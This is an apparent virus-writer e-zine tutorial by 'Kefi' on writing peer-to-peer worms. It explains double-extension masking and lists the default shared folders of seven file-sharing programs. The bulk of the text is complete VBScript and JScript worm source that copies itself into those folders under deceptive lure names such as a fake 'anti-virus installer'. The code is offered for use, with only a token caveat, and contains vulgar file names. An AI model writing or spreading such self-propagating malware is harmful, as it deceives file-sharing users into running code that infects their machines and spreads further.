The Revoluti0n
last article table of contents next article

p2p worm tutorial by Kefi

Shit in it:
 1.how they work
 2.Common p2p programs and their Shared Folders
 3.examples (vbs,js)

1. How P2P worms work
 P2P worms spread via Peer-to-Peer(P2P) programs. Since P2P programs
were poorly created and don't filter things like "Biggie Tupok - 
Remix.mp3.vbs" the worms are able to place themselves into the P2P
shared folder as various file types. And when the file name is searched
for "Biggie Tupok - Remix.mp3" will come up, without the ".vbs".

2. 7 Common P2P Programs and their Shared Folders
P2P worms exploit the fact that most computer users are idiots, and
don't know how to change their shared folder. So P2P worms assume that
the infected user's "shared folder" is the default folder. Below are
the most common P2P programs and their default Shared Folder's.

 - Kazaa Media Desktop
   - C:\Program Files\KMD\My Shared Folder
 - Kazaa
   - C:\Program Files\Kazaa\My Shared Folder
 - Kazaa Lite
   - C:\Program Files\KaZaA Lite\My Shared Folder
 - Morpheus
   - C:\Program Files\Morpheus\My Shared Folder
 - Grokster
   - C:\Program Files\Grokster\My Grokster
 - BearShare
   - C:\Program Files\BearShare\Shared
 - Edonkey
   - C:\Program Files\Edonkey2000\Incoming

3.Examples
 Writing P2P worms is very easy. All you really have to do is copy the
worm into different places, and attempt to mask their extension by
adding ".mp3.vbs" or ".exe.js" to the end of the worm's copy.

Visual Basic Script Example:
This worm will spread via the 7 common P2P programs with 3 different files.

   Set fso = CreateObject("Scripting.FileSystemObject")
   MyWorm = (WScript.ScriptFullName)
   KMD = ("C:\Program Files\KMD\My Shared Folder")& "\"
   Kazaa = ("C:\Program Files\Kazaa\My Shared Folder") & "\"
   KazaaLiteL = ("C:\Program Files\KaZaA Lite\My Shared Folder") & "\"
   Morpheus = ("C:\Program Files\Morpheus\My Shared Folder") & "\"
   Grokster = ("C:\Program Files\Grokster\My Grokster") & "\"
   BearShare = ("C:\Program Files\BearShare\Shared") & "\"
   Edonkey = ("C:\Program Files\Edonkey2000\Incoming") & "\"
   if fso.folderexists(KMD) then
      fso.copyfile MyWorm, KMD & "vagina.jpg.vbs"
      fso.copyfile MyWorm, KMD & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, KMD & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(Kazaa) then
      fso.copyfile MyWorm, Kazaa & "vagina.jpg.vbs"
      fso.copyfile MyWorm, Kazaa & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, Kazaa & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(KazaaLite) then
      fso.copyfile MyWorm, KazaaLite & "vagina.jpg.vbs"
      fso.copyfile MyWorm, KazaaLite & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, KazaaLite & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(Morpheus) then
      fso.copyfile MyWorm, Morpheus & "vagina.jpg.vbs"
      fso.copyfile MyWorm, Morpheus & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, Morpheus & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(Grokster) then
      fso.copyfile MyWorm, Grokster & "vagina.jpg.vbs"
      fso.copyfile MyWorm, Grokster & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, Grokster & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(BearShare) then
      fso.copyfile MyWorm, BearShare & "vagina.jpg.vbs"
      fso.copyfile MyWorm, BearShare & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, BearShare & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if
   if fso.folderexists(Edonkey) then
      fso.copyfile MyWorm, Edonkey & "vagina.jpg.vbs"
      fso.copyfile MyWorm, Edonkey & "anti-virus installer.exe.vbs"
      fso.copyfile MyWorm, Edonkey & "Emeinem - Fuck Me In The Ass.mp3.vbs"
   end if

JavaScript Script Example:
This worm will spread via the 7 common P2P programs with 3 different files. 

   var MyWorm,KMD,Kazaa,KazaaLite,Morpheus,Grokster,BearShare,Edonkey;
   var fso = new ActiveXObject("Scripting.FileSystemObject");
   MyWorm = (WScript.ScriptFullName);
   KMD = ("C:\\Program Files\\KMD\\My Shared Folder") + "\\";
   Kazaa = ("C:\\Program Files\\Kazaa\\My Shared Folder") + "\\";
   KazaaLite = ("C:\\Program Files\\KaZaA Lite\\My Shared Folder") + "\\";
   Morpheus = ("C:\\Program Files\\Morpheus\\My Shared Folder") + "\\";
   Grokster = ("C:\\Program Files\\Grokster\\My Grokster") + "\\";
   BearShare = ("C:\\Program Files\\BearShare\\Shared") + "\\";
   Edonkey = ("C:\\Program Files\\Edonkey2000\\Incoming") + "\\";
   if(fso.folderexists(KMD)){
      fso.copyfile(MyWorm, KMD + "vagina.jpg.js");
      fso.copyfile(MyWorm, KMD + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, KMD + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(Kazaa)){
      fso.copyfile(MyWorm, Kazaa + "vagina.jpg.js");
      fso.copyfile(MyWorm, Kazaa + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, Kazaa + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(KazaaLite)){
      fso.copyfile(MyWorm, KazaaLite + "vagina.jpg.js");
      fso.copyfile(MyWorm, KazaaLite + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, KazaaLite + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(Morpheus)){
      fso.copyfile(MyWorm, Morpheus + "vagina.jpg.js");
      fso.copyfile(MyWorm, Morpheus + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, Morpheus + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(Grokster)){
      fso.copyfile(MyWorm, Grokster + "vagina.jpg.js");
      fso.copyfile(MyWorm, Grokster + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, Grokster + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(BearShare)){
      fso.copyfile(MyWorm, BearShare + "vagina.jpg.js");
      fso.copyfile(MyWorm, BearShare + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, BearShare + "Emeinem - Fuck Me In The Ass.mp3.js");
   }
   if(fso.folderexists(Edonkey)){
      fso.copyfile(MyWorm, Edonkey + "vagina.jpg.js");
      fso.copyfile(MyWorm, Edonkey + "anti-virus installer.exe.js");
      fso.copyfile(MyWorm, Edonkey + "Emeinem - Fuck Me In The Ass.mp3.js");
   }

And that's all for now. Please don't use the worms directly from this tutorial.
At least ask about it first.

Thanks SPTH for the P2P tut. idea!

Kefi.[rRlf]